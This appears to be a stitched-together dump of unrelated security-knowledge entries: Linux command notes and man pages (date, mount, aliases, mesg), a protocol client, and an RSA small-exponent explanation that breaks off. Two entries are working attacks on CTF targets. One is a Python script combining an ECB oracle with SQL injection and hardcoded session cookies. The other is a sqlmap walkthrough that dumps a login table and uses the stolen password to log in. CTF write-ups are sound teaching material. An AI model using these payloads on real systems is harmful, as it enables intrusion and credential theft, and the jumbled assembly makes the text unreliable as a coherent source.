1234567890 秒: date -d "1970-01-01 1234567890 seconds" +"%Y-%m-%d %H:%M:%S" # 或者 date -d@1234567890 +"%F %T" # 输出结果 2009-02-13 23:02:30 # 时间格式转换: date -d "2009-12-12" +"%Y/%m/%d %H:%M.%S" # 输出结果 2009/12/12 00:00.00 # apache格式转换: date -d "Dec 5, 2009 12:00:37 AM" +"%Y-%m-%d %H:%M.%S" # 输出结果 2009-12-05 00:00.37 # 格式转换后时间游走: date -d "Dec 5, 2009 12:00:37 AM 2 year ago" +"%Y-%m-%d %H:%M.%S" # 输出结果 2007-12-05 00:00.37 # 时间加减操作: date +%Y%m%d # 显示年月日 date -d "+1 day" +%Y%m%d # 显示前一天的日期 date -d "-1 day" +%Y%m%d # 显示后一天的日期 date -d "-1 month" +%Y%m%d # 显示上一月的日期 date -d "+1 month" +%Y%m%d # 显示下一月的日期 date -d "-1 year" +%Y%m%d # 显示前一年的日期 date -d "+1 year" +%Y%m%d # 显示下一年的日期 # 设定时间: date -s # 设置当前时间,只有root权限才能设置,其他只能查看 date -s 20120523 # 设置成20120523,这样会把具体时间设置成00:00:00 date -s 01:01:01 # 设置具体时间,不会对日期做更改 date -s "01:01:01 2012-05-23" # 这样可以设置全部时间 date -s "01:01:01 20120523" # 这样可以设置全部时间 date -s "2012-05-23 01:01:01" # 这样可以设置全部时间 date -s "20120523 01:01:01" # 这样可以设置全部时间 # 有时需要检查一组命令花费的时间: start=$(date +%s) nmap wangchujiang.com &> /dev/null end=$(date +%s) difference=$(( end - start )) # 显示执行时间 echo $difference seconds. # 当你考虑输出带有时间的字符串时,例如(Current time: 2019/05/19): # 通常使用的方法: echo "Current time: $(date +"%Y/%m/%d")" # 另一种方法: suffix='Current time:' # 注意如果换成单引号就不能替换变量了。 date +"${suffix} %Y/%m/%d" ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 date`或`info coreutils 'date invocation'`。
sec-knowleage
mount === 用于挂载Linux系统外的文件 ## 补充说明 **mount命令** Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。 如果通过webdav协议挂载网络磁盘,需要运行指令`apt install davfs2`安装必要的组件 ### 语法 ```shell mount [-hV] mount -a [-fFnrsvw] [-t vfstype] mount [-fnrsvw] [-o options [,...]] device | dir mount [-fnrsvw] [-t vfstype] [-o options] device dir ``` ### 选项 ```shell -V:显示程序版本 -h:显示辅助讯息 -v:显示较讯息,通常和 -f 用来除错。 -a:将 /etc/fstab 中定义的所有档案系统挂上。 -F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。 -f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。 -n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。 -s-r:等于 -o ro -w:等于 -o rw -L:将含有特定标签的硬盘分割挂上。 -U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。 -t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。 -o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。 -o sync:在同步模式下执行。 -o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。 -o auto、-o noauto:打开/关闭自动挂上模式。 -o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async. -o dev、-o nodev-o exec、-o noexec允许执行档被执行。 -o suid、-o nosuid: 允许执行档在 root 权限下执行。 -o user、-o nouser:使用者可以执行 mount/umount 的动作。 -o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。 -o ro:用唯读模式挂上。 -o rw:用可读写模式挂上。 -o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 ``` ### 实例1 将 `/dev/hda1` 挂在 `/mnt` 之下。 ```shell #mount /dev/hda1 /mnt ``` 将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。 ```shell #mount -o ro /dev/hda1 /mnt ``` 将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。 ```shell #mount -o loop /tmp/image.iso /mnt/cdrom ``` ### 实例2 通过 webdav 协议挂载网络硬盘 将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount` ```shell mount -t davfs https://your.webdav.link.here /path/to/mount ```
sec-knowleage
.\" Copyright (c) 1998 Sendmail, Inc. All rights reserved. .\" Copyright (c) 1983, 1997 Eric P. Allman. All rights reserved. .\" Copyright (c) 1985, 1991, 1993 .\" The Regents of the University of California. All rights reserved. .\" .\" By using this file, you agree to the terms and conditions set .\" forth in the LICENSE file which can be found at the top level of .\" the sendmail distribution. .\" .\" .\" @(#)aliases.5 8.8 (Berkeley) 5/19/1998 .\" .TH aliases 5 \" .DD May 19, 1998 \" .DT ALIASES 5 \" .OS BSD 4 .SH NAME aliases \- sendmail使用的别名文件 .SH 总览 aliases .SH 描述 此文件描述了 .B /usr/sbin/sendmail 使用的用户账号别名。它位于 .B /etc 并格式化 成如下形式的一连串的行: name: name_1, name2, name_3, . . . .PP 其中的 .B name 是含别名的原名,而 .B name_n 就是那个原名的一组别名。以空格起 首的行是上一行的延续。以`#'起首的行是注释。 .LP 别名化只发生在本地账号上。不能发生循环现象,因为邮件不会对任何人进行于一 多次的投递。 在完成别名化后,本地的和合法的收信人会有一个``.forward''文件存于他们的宿 主目录,此文件用于把邮件按文件中定义好的用户列表进行转发。 .LP 此别名文件只包含原始数据;实际的别名化信息存于用程序 .I newaliases(1) 建立的 .I /etc/aliases.db 这个二进制格式的文件中。每次别名文件更改后都要执行 .I newaliases 命令来使更改有效。 .SH 另见 .BR newaliases(1), .BR dbopen(3), .BR dbm(3), .BR sendmail(8) .BR "SENDMAIL 安装和操作指南。" .BR "SENDMAIL 互联网络邮件路由器。" .SH 错误 如果你已经在编译 .B sendmail 时用 .B DBM 支持替换了 .B NEWDB 的话,可能会遇到 .B dbm(3) 限制 单条别名容量在 .I 1000 字节信息量左右的问题。你可以用``链''的方法来获得更长的别名; 那就是,把一个作为延续的虚设名来作为别名串中的最后一个名称。 .SH 历史记录 别名文件格式出现于BSD 4.0 。 .SH "[中文版维护人]" .B mhss .SH "[中文版最新更新]" .B 2001.10.01 .SH "《中国linux论坛man手册页翻译计划》:" .B http://cmpp.linuxforum.net
sec-knowleage
import requests import time import string prefx_len = 7 sufx_len = 11 def encrypt(payload): sessid = 'ln8h6x5zwp6oj2e7kz6zd45hlu97q3yp' cookies = {'sessionid': sessid} cookies['AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EF1BD84608DB9FFA0FC0F2F4F304AC9CD30CDCC86788A845DF98A68A77D605B8BF768114D93228AACFB536DE3963E28F295D0C2D52138BA1520672BB1428B11124' url0 = 'http://fridge.insomnihack.ch/' base = requests.get(url0, cookies=cookies) text = base.text csrf = "<input type='hidden' name='csrfmiddlewaretoken' value='" start = text.find(csrf) + len(csrf) token = text[start:start+32] cookies['csrftoken'] = token url = 'http://fridge.insomnihack.ch/users/' resp = requests.post(url, data={'term': payload, 'csrfmiddlewaretoken': token}, cookies=cookies, allow_redirects=False) prefx = '/search/' loc = resp.headers['location'] return loc[len(prefx):-1] def chunks(data, n): return [data[i*n:(i+1)*n] for i in range(len(data) / n)] def encrypt2(payload): session = '16if76517xm5zvvwn0l09yq8hqwbgdi5' cookies = {'sessionid': session} cookies[ 'AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EFD0AA7BC023208F4937F97452EF3E07B21CF2698ED17FB3AE4D8A6166A17A44ACBC6810BEC0739D56BBE463F63CC54BC91275B57E8FE8CBB9B39F65DFAFFA27C1' url0 = 'http://fridge.insomnihack.ch/' base = requests.get(url0, cookies=cookies) text = base.text csrf = "<input type='hidden' name='csrfmiddlewaretoken' value='" start = text.find(csrf) + len(csrf) token = text[start:start + 32] cookies['csrftoken'] = token real_payload = "123456789" real_payload += payload padding_len = ((len(payload)+15)/16)*16 - len(payload) real_payload += " "*padding_len url = 'http://fridge.insomnihack.ch/users/' resp = requests.post(url, data={'term': real_payload, 'csrfmiddlewaretoken': token}, cookies=cookies, allow_redirects=False) prefx = '/search/' loc = resp.headers['location'] ciphertext = loc[len(prefx):-1] return chunks(ciphertext, 32)[1:-1] def hack(query): parts = encrypt2(query) part = ''.join(parts) prfx = 'b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24c' sufx = 'b9719c83f5ab5c0751937a39150c920d' return prfx + part + sufx def hack2(query): payload = hack(query) session = '16if76517xm5zvvwn0l09yq8hqwbgdi5' cookies = {'sessionid': session} cookies[ 'AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EFD0AA7BC023208F4937F97452EF3E07B21CF2698ED17FB3AE4D8A6166A17A44ACBC6810BEC0739D56BBE463F63CC54BC91275B57E8FE8CBB9B39F65DFAFFA27C1' url = 'http://fridge.insomnihack.ch/search/' r = requests.get(url + payload, cookies=cookies) return r.text def hack3(query): return hack2(' union all select 1, (' + query + '), 3, 4, 5 union all select 1, 2, 3, 4, 5 from objsearch_user ') import sys print hack3(sys.argv[1]) sys.exit() print hack2(' union all select 1, 2, 3, 4, 5 union all select (select 1 from user), 2, 3, 4, 5 from objsearch_user ') prefx = 'p' * prefx_len known_suffix = '|type=use' for i in range(sufx_len): content_len = 48 - prefx_len - len(known_suffix) - 1 content = 'a' * content_len crypted = encrypt(content) crypted_chunks = chunks(crypted, 32) print crypted_chunks sought = crypted_chunks[-2] print 'sought', i, sought for c in [chr(x) for x in range(256)]: payload = content + known_suffix + c decrypted = encrypt(payload) decrypted_chunks = chunks(decrypted, 32) print decrypted_chunks result = decrypted_chunks[-2] if result == sought: print 'got', c known_suffix += c print known_suffix break
sec-knowleage
# Not Another SQLi Challenge Web, 100 points ## Description: A link to a website was provided. ```html <html> <head> <title>Central Authentication Service RC1.2</title> </head> <body bgcolor="#800000"> <h1 style="color:white">Howdy!</h1> <img align = "right" src = "/images/logo.png" width="50%"> <div> <form action = "/web/login.php" method = "POST"> <p align="left" style="color:white"> NetID: <br> <input type = "text" name = "username" align = "justify"/><br><br> Password: <br> <input type = "password" name = "password" align = "justify"/><br> </p> <input type = "submit" value="Login" /> </form> </div> </body> </html> ``` ## Solution: The website had a login form. Since the title mentions SQLi, we'll start with SQLMap: ```console root@kali:~# sqlmap -u http://web1.tamuctf.com/web/login.php --method POST --data "username=1&password=1" -p "username" ___ __H__ ___ ___[,]_____ ___ ___ {1.2.5#stable} |_ -| . ['] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 21:37:54 [21:37:54] [INFO] testing connection to the target URL [21:38:00] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [21:38:00] [INFO] testing if the target URL content is stable [21:38:01] [INFO] target URL content is stable [21:38:03] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable [21:38:06] [INFO] testing for SQL injection on POST parameter 'username' [21:38:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [21:38:12] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [21:38:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [21:38:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [21:38:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [21:38:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [21:38:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [21:38:29] [INFO] testing 'MySQL inline queries' [21:38:29] [INFO] testing 'PostgreSQL inline queries' [21:38:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [21:38:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [21:38:30] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [21:38:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [21:38:35] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [21:38:38] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [21:38:41] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [21:38:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [21:38:47] [INFO] testing 'Oracle AND time-based blind' [21:38:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [21:39:17] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [21:39:20] [INFO] target URL appears to have 2 columns in query [21:39:20] [WARNING] applying generic concatenation (CONCAT) [21:39:23] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable [21:39:23] [INFO] checking if the injection point on POST parameter 'username' is a false positive sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests: --- Parameter: username (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: username=1' UNION ALL SELECT CONCAT(CONCAT('qkzxq','UdjfxTdKSgvbPGmoNajAofyVtpCyNYetlOLRCTKT'),'qkxvq'),NULL-- lvOs&password=1 --- [21:43:38] [INFO] testing MySQL [21:43:39] [INFO] confirming MySQL [21:43:40] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL >= 5.0.0 [21:43:40] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web1.tamuctf.com' [*] shutting down at 21:43:40 root@kali:~# sqlmap -u http://web1.tamuctf.com/web/login.php --method POST --data "username=1&password=1" -p "username" --dbs ___ __H__ ___ ___[']_____ ___ ___ {1.2.5#stable} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 21:44:21 [21:44:21] [INFO] resuming back-end DBMS 'mysql' [21:44:21] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: username=1' UNION ALL SELECT CONCAT(CONCAT('qkzxq','UdjfxTdKSgvbPGmoNajAofyVtpCyNYetlOLRCTKT'),'qkxvq'),NULL-- lvOs&password=1 --- [21:44:25] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 [21:44:25] [INFO] fetching database names [21:44:25] [INFO] used SQL query returns 2 entries [21:44:25] [INFO] retrieved: information_schema [21:44:26] [INFO] retrieved: SqliDB available databases [2]: [*] information_schema [*] SqliDB [21:44:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web1.tamuctf.com' [*] shutting down at 21:44:26 root@kali:~# sqlmap -u http://web1.tamuctf.com/web/login.php --method POST --data "username=1&password=1" -p "username" --tables -D SqliDB ___ __H__ ___ ___[.]_____ ___ ___ {1.2.5#stable} |_ -| . [)] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 21:44:54 [21:44:54] [INFO] resuming back-end DBMS 'mysql' [21:44:54] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: username=1' UNION ALL SELECT CONCAT(CONCAT('qkzxq','UdjfxTdKSgvbPGmoNajAofyVtpCyNYetlOLRCTKT'),'qkxvq'),NULL-- lvOs&password=1 --- [21:45:00] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 [21:45:00] [INFO] fetching tables for database: 'SqliDB' [21:45:01] [INFO] used SQL query returns 1 entries Database: SqliDB [1 table] +-------+ | login | +-------+ [21:45:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web1.tamuctf.com' [*] shutting down at 21:45:01 root@kali:~# sqlmap -u http://web1.tamuctf.com/web/login.php --method POST --data "username=1&password=1" -p "username" --columns -D SqliDB -T login ___ __H__ ___ ___[']_____ ___ ___ {1.2.5#stable} |_ -| . [(] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 21:46:25 [21:46:25] [INFO] resuming back-end DBMS 'mysql' [21:46:26] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: username=1' UNION ALL SELECT CONCAT(CONCAT('qkzxq','UdjfxTdKSgvbPGmoNajAofyVtpCyNYetlOLRCTKT'),'qkxvq'),NULL-- lvOs&password=1 --- [21:46:26] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 [21:46:26] [INFO] fetching columns for table 'login' in database 'SqliDB' [21:46:27] [INFO] used SQL query returns 2 entries [21:46:27] [INFO] retrieved: "User","varchar(20)" [21:46:28] [INFO] retrieved: "Password","varchar(100)" Database: SqliDB Table: login [2 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | User | varchar(20) | | Password | varchar(100) | +----------+--------------+ [21:46:28] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web1.tamuctf.com' [*] shutting down at 21:46:28 root@kali:~# sqlmap -u http://web1.tamuctf.com/web/login.php --method POST --data "username=1&password=1" -p "username" --dump -D SqliDB -T login ___ __H__ ___ ___[,]_____ ___ ___ {1.2.5#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 21:46:49 [21:46:49] [INFO] resuming back-end DBMS 'mysql' [21:46:54] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: username (POST) Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: username=1' UNION ALL SELECT CONCAT(CONCAT('qkzxq','UdjfxTdKSgvbPGmoNajAofyVtpCyNYetlOLRCTKT'),'qkxvq'),NULL-- lvOs&password=1 --- [21:46:55] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL 5 [21:46:55] [INFO] fetching columns for table 'login' in database 'SqliDB' [21:46:55] [INFO] used SQL query returns 2 entries [21:46:55] [INFO] resumed: "User","varchar(20)" [21:46:55] [INFO] resumed: "Password","varchar(100)" [21:46:55] [INFO] fetching entries for table 'login' in database 'SqliDB' [21:46:56] [INFO] used SQL query returns 2 entries [21:46:57] [INFO] retrieved: "tS&LjHue6Z&m*&JeTU#U%btyA8gmJXh","admin" [21:46:58] [INFO] retrieved: "password","bobsagget" Database: SqliDB Table: login [2 entries] +-----------+---------------------------------+ | User | Password | +-----------+---------------------------------+ | admin | tS&LjHue6Z&m*&JeTU#U%btyA8gmJXh | | bobsagget | password | +-----------+---------------------------------+ [21:46:58] [INFO] table 'SqliDB.login' dumped to CSV file '/root/.sqlmap/output/web1.tamuctf.com/dump/SqliDB/login.csv' [21:46:58] [INFO] fetched data logged to text files under '/root/.sqlmap/output/web1.tamuctf.com' [*] shutting down at 21:46:58 ``` Got the password, let's use it to log in: ```console root@kali:~# curl -d "username=admin" --data-urlencode "password=tS&LjHue6Z&m*&JeTU#U%btyA8gmJXh" -X POST http://web1.tamuctf.com/web/login.php <html>gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}!</html> ```
sec-knowleage
# REQUIRED: PyCrypto 2.6.1 # To install: pip install pycrypto # Homepage: https://www.dlitz.net/software/pycrypto/ import argparse import sys import socket from Crypto.Hash import SHA256 def readNullTerminatedString(f): buf = b'' while True: if len(buf) > 1 << 20: raise Exception("Overly long input") c = f.read(1) if len(c) == 0: raise Exception("End of stream reached") if ord(c) == 0: # Indicates NULL termination of a UTF-8 string. break buf += c return unicode(buf, encoding="utf-8", errors="strict") def toNullTerminatedUtf8(s): return unicode(s).encode("utf-8") + "\x00" class Client: nonceLengthInBytes = 8 def __init__(self, host, port, username, password): self.username = username self.password = password self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._socket.setblocking(1) self._socket.connect((host, port)) self._f = self._socket.makefile("rw") self._authenticate() def close(): self._f.close() self._socket.close() def execute(self, command): self._sendMessage_Command(command) return self._expectMessage_CommandResult() def _authenticate(self): self._sendMessage_LogonRequest() (nonce, challengeCookie) = self._expectMessage_LogonChallenge() r = self._computeChallengeResponse(nonce) self._sendMessage_LogonResponse(r, challengeCookie) self.ticket = self._expectMessage_LogonSuccess() def _sendMessage_LogonRequest(self): self._f.write("\x01") self._f.write(toNullTerminatedUtf8(self.username)) self._f.flush() def _expectMessage_LogonChallenge(self): self._expectMessageType(0x02) nonce = self._readBytes(self.nonceLengthInBytes) challengeCookie = self._expectString() return (nonce, challengeCookie) def _computeChallengeResponse(self, nonce): return SHA256.new(nonce + self.password).digest() def _sendMessage_LogonResponse(self, r, challengeCookie): self._f.write("\x03") self._f.write(r) self._f.write(toNullTerminatedUtf8(challengeCookie)) self._f.flush() def _expectMessage_LogonSuccess(self): messageType = self._readMessageType() if messageType == 0x04: ticket = self._expectString() return ticket elif messageType == 0x05: return None else: raise Exception("Unexpected message type: 0x%02x" % messageType) def _sendMessage_Command(self, command): self._f.write("\x06") self._f.write(toNullTerminatedUtf8(self.ticket)) self._f.write(toNullTerminatedUtf8(command)) self._f.flush() def _expectMessage_CommandResult(self): messageType = self._readMessageType() if messageType == 0x07: result = self._expectString() return result elif messageType == 0x05: sys.stderr.write("Unauthorized\n") exit(1) else: raise Exception("Unexpected message type: 0x%02x" % messageType) def _readMessageType(self): messageTypeByte = self._readBytes(1) if (len(messageTypeByte) == 0): raise Exception("Server has disconnected") return ord(messageTypeByte) def _expectMessageType(self, expectedMessageType): messageType = self._readMessageType() if messageType != expectedMessageType: raise Exception("Unexpected message type: 0x%02x" % messageType) def _readBytes(self, nBytes): result = self._f.read(nBytes) if len(result) != nBytes: raise Exception("Connection was closed") return result def _expectString(self): buf = b'' while True: if len(buf) > 1 << 20: raise Exception("Overly long input") c = self._f.read(1) if len(c) == 0: raise Exception("End of stream reached") if ord(c[0]) == 0: # Indicates NULL termination of a UTF-8 string. break buf += c return unicode(buf, encoding="utf-8", errors="strict") if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("host") parser.add_argument("port", type=int) parser.add_argument("username") parser.add_argument("password") parser.add_argument("command") args = parser.parse_args() client = Client(args.host, args.port, args.username, args.password) if not client.ticket: sys.stderr.write("Failed to authenticate\n") exit(1) print client.execute(args.command)
sec-knowleage
.\"{{{}}} .\"{{{ Title .TH MESG 1 "May 27, 1997" "" "Linux User's Manual" .\"}}} .\"{{{ Name .SH NAME mesg \- 调节用户终端的写访问权 .\"}}} .\"{{{ Synopsis .SH "总览 (SYNOPSIS)" .B mesg .RB [ y | n ] .\"}}} .\"{{{ Description .SH "描述 (DESCRIPTION)" .B Mesg 控制 其他用户 对 你的终端 的 访问能力. 典型用途 是 允许 或 禁止 其他用户 向 你的终端 输出 数据. (另见 \fBwrite\fP(1)). .\"}}} .\"{{{ Options .SH "选项 (OPTIONS)" .IP \fBy\fP 允许 对 用户终端 作 写访问. .IP \fBn\fP 禁止 对 用户终端 作 写访问. .PP 如果 没有 指定 选项, \fBmesg\fP 就 显示 目前 用户终端 的 访问状态. .\"}}} .\"{{{ Author .SH "作者 (AUTHOR)" Miquel van Smoorenburg (miquels@cistron.nl) .\"}}} .\"{{{ See also .SH "另见 (SEE ALSO)" .BR talk (1), .BR write (1), .BR wall (1) .\"}}} .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
### 小公钥指数攻击攻击条件 e 特别小,比如 e 为 3。 ### 小公钥指数攻击攻击原理 假设用户使用的密钥 $e=3$。考虑到加密关系满足: $$ c\equiv m^3 \bmod N $$ 则: $$ \begin{align*} m^3 &= c+k\times N\\ m &= \sqrt[3]{c+k\times n} \end{align*} $$ 攻击者可以从小到大枚举 $k$,依次开三次根,直到开出整数为止。 ### 小公钥指数攻击范例 这里我们以 XMan 一期夏令营课堂练习为例进行介绍(Jarvis OJ 有复现),附件中有一个 `flag.enc` 和 `pubkey.pem`,很明显是密文和公钥了,先用 `openssl` 读一下公钥。 ```bash ➜ Jarvis OJ-Extremely hard RSA git:(master) ✗ openssl rsa -pubin -in pubkey.pem -text -modulus Public-Key: (4096 bit) Modulus: 00:b0:be:e5:e3:e9:e5:a7:e8:d0:0b:49:33:55:c6: 18:fc:8c:7d:7d:03:b8:2e:40:99:51:c1:82:f3:98: de:e3:10:45:80:e7:ba:70:d3:83:ae:53:11:47:56: 56:e8:a9:64:d3:80:cb:15:7f:48:c9:51:ad:fa:65: db:0b:12:2c:a4:0e:42:fa:70:91:89:b7:19:a4:f0: d7:46:e2:f6:06:9b:af:11:ce:bd:65:0f:14:b9:3c: 97:73:52:fd:13:b1:ee:a6:d6:e1:da:77:55:02:ab: ff:89:d3:a8:b3:61:5f:d0:db:49:b8:8a:97:6b:c2: 05:68:48:92:84:e1:81:f6:f1:1e:27:08:91:c8:ef: 80:01:7b:ad:23:8e:36:30:39:a4:58:47:0f:17:49: 10:1b:c2:99:49:d3:a4:f4:03:8d:46:39:38:85:15: 79:c7:52:5a:69:98:4f:15:b5:66:7f:34:20:9b:70: eb:26:11:36:94:7f:a1:23:e5:49:df:ff:00:60:18: 83:af:d9:36:fe:41:1e:00:6e:4e:93:d1:a0:0b:0f: ea:54:1b:bf:c8:c5:18:6c:b6:22:05:03:a9:4b:24: 13:11:0d:64:0c:77:ea:54:ba:32:20:fc:8f:4c:c6: ce:77:15:1e:29:b3:e0:65:78:c4:78:bd:1b:eb:e0: 45:89:ef:9a:19:7f:6f:80:6d:b8:b3:ec:d8:26:ca: d2:4f:53:24:cc:de:c6:e8:fe:ad:2c:21:50:06:86: 02:c8:dc:dc:59:40:2c:ca:c9:42:4b:79:00:48:cc: dd:93:27:06:80:95:ef:a0:10:b7:f1:96:c7:4b:a8: c3:7b:12:8f:9e:14:11:75:16:33:f7:8b:7b:9e:56: f7:1f:77:a1:b4:da:ad:3f:c5:4b:5e:7e:f9:35:d9: a7:2f:b1:76:75:97:65:52:2b:4b:bc:02:e3:14:d5: c0:6b:64:d5:05:4b:7b:09:6c:60:12:36:e6:cc:f4: 5b:5e:61:1c:80:5d:33:5d:ba:b0:c3:5d:22:6c:c2: 08:d8:ce:47:36:ba:39:a0:35:44:26:fa:e0:06:c7: fe:52:d5:26:7d:cf:b9:c3:88:4f:51:fd:df:df:4a: 97:94:bc:fe:0e:15:57:11:37:49:e6:c8:ef:42:1d: ba:26:3a:ff:68:73:9c:e0:0e:d8:0f:d0:02:2e:f9: 2d:34:88:f7:6d:eb:62:bd:ef:7b:ea:60:26:f2:2a: 1d:25:aa:2a:92:d1:24:41:4a:80:21:fe:0c:17:4b: 98:03:e6:bb:5f:ad:75:e1:86:a9:46:a1:72:80:77: 0f:12:43:f4:38:74:46:cc:ce:b2:22:2a:96:5c:c3: 0b:39:29 Exponent: 3 (0x3) Modulus=B0BEE5E3E9E5A7E8D00B493355C618FC8C7D7D03B82E409951C182F398DEE3104580E7BA70D383AE5311475656E8A964D380CB157F48C951ADFA65DB0B122CA40E42FA709189B719A4F0D746E2F6069BAF11CEBD650F14B93C977352FD13B1EEA6D6E1DA775502ABFF89D3A8B3615FD0DB49B88A976BC20568489284E181F6F11E270891C8EF80017BAD238E363039A458470F1749101BC29949D3A4F4038D463938851579C7525A69984F15B5667F34209B70EB261136947FA123E549DFFF00601883AFD936FE411E006E4E93D1A00B0FEA541BBFC8C5186CB6220503A94B2413110D640C77EA54BA3220FC8F4CC6CE77151E29B3E06578C478BD1BEBE04589EF9A197F6F806DB8B3ECD826CAD24F5324CCDEC6E8FEAD2C2150068602C8DCDC59402CCAC9424B790048CCDD9327068095EFA010B7F196C74BA8C37B128F9E1411751633F78B7B9E56F71F77A1B4DAAD3FC54B5E7EF935D9A72FB176759765522B4BBC02E314D5C06B64D5054B7B096C601236E6CCF45B5E611C805D335DBAB0C35D226CC208D8CE4736BA39A0354426FAE006C7FE52D5267DCFB9C3884F51FDDFDF4A9794BCFE0E1557113749E6C8EF421DBA263AFF68739CE00ED80FD0022EF92D3488F76DEB62BDEF7BEA6026F22A1D25AA2A92D124414A8021FE0C174B9803E6BB5FAD75E186A946A17280770F1243F4387446CCCEB2222A965CC30B3929 writing RSA key -----BEGIN PUBLIC KEY----- 